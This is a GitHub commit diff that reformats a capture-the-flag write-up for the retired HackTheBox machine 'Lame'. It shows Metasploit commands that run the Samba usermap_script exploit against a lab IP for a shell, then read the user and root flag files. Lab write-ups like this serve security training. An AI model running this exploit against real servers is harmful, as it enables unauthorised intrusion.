Skip to content

Commit

Permalink
Update 0001lame.md
Browse files Browse the repository at this point in the history
  • Loading branch information
ZishanAdThandar committed Sep 16, 2024
1 parent cf89147 commit 544ff31
Showing 1 changed file with 29 additions and 32 deletions.
61 changes: 29 additions & 32 deletions CTF/hackthebox.com/0001lame.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,40 +25,37 @@ Retired Easy Machine by ch4p
</ol>

<h2>Exploitation</h2>
<ol>
<li>Using metasploit we can use the exploit to shell the box.<br>

```bash
use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit
```

<img src="./img/1b.png?raw=true" width="80%" alt="Enumeration 1">

<img src="./img/1c.png?raw=true" width="80%" alt="Enumeration 2">

Now open home folder using terminal and find the user.txt.

```bash
cd home
ls
cd makis
ls
cat user.txt
```

Now goto root folder and find the root.txt.
1. Using metasploit we can use the exploit to shell the box.
```bash
use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit
```

```bash
cd root
ls
cat root.txt
```

<img src="./img/1d.png?raw=true" width="80%" alt="Flags"></li>
<img src="./img/1b.png?raw=true" width="80%" alt="Enumeration 1">

<img src="./img/1c.png?raw=true" width="80%" alt="Enumeration 2">

Now open home folder using terminal and find the user.txt.

```bash
cd home
ls
cd makis
ls
cat user.txt
```

2. Now goto root folder and find the root.txt.

```bash
cd root
ls
cat root.txt
```

<img src="./img/1d.png?raw=true" width="80%" alt="Flags"></li>

</ol>

<h2>Walkthrough</h2>
<a title="Lame HackTheBox 10.10.10.3 YouTube walkthrough" href="https://www.youtube.com/watch?v=sq0qVn3iLm0&list=PL6vr4adYIJuxZ6tzpWnpici8JX0sdPhwx&index=3" target="_blank">https://www.youtube.com/watch?v=sq0qVn3iLm0</a>
Expand Down

0 comments on commit 544ff31

Please sign in to comment.